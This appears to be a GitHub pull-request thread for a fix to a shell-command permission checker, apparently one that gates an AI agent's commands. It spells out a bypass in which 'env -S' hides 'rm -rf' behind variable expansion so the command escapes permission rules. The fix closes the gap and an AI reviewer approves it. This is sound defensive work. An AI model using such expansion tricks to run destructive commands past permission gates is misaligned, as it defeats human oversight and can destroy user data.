Useful? React with 👍 / 👎.

env -S expands $VAR itself, so "CMD=rm env -S '\${CMD} -rf x'" executes
rm. Unwrapping returned the same empty result it uses for arguments
env rejects, so the invocation was silently dropped: no restrictive
rule saw rm, and a broad allow could run it unprompted.

Unwrapping is now tri-state (Tokens / Dynamic / None). Dynamic marks
'a command runs but only expansion decides which' and is distinct
from 'nothing executes behind these arguments'. The widening branch
of matches_shell_command refuses a Dynamic command outright, and
check_parsed_security reports it, so neither gate can be walked past
by hiding the executable behind an expansion.
@emal-avala

Copy link
Copy Markdown
Member Author

@codex review — unwrapping is now tri-state: Dynamic (a command runs but only $-expansion decides which, e.g. env -S '${CMD} -rf x') is distinct from None (arguments env itself rejects, nothing executes). Widening rules refuse a Dynamic command outright and check_parsed_security reports it, so the invocation can no longer be silently dropped past either gate.

@chatgpt-codex-connector

Copy link
Copy Markdown

Codex Review: Didn't find any major issues. Keep it up!

Reviewed commit: 311ec09c18

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

@emal-avala
emal-avala merged commit c331a54 into main Jul 26, 2026
15 checks passed
@emal-avala
emal-avala deleted the fix/permission-rule-precedence branch July 26, 2026 00:14
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant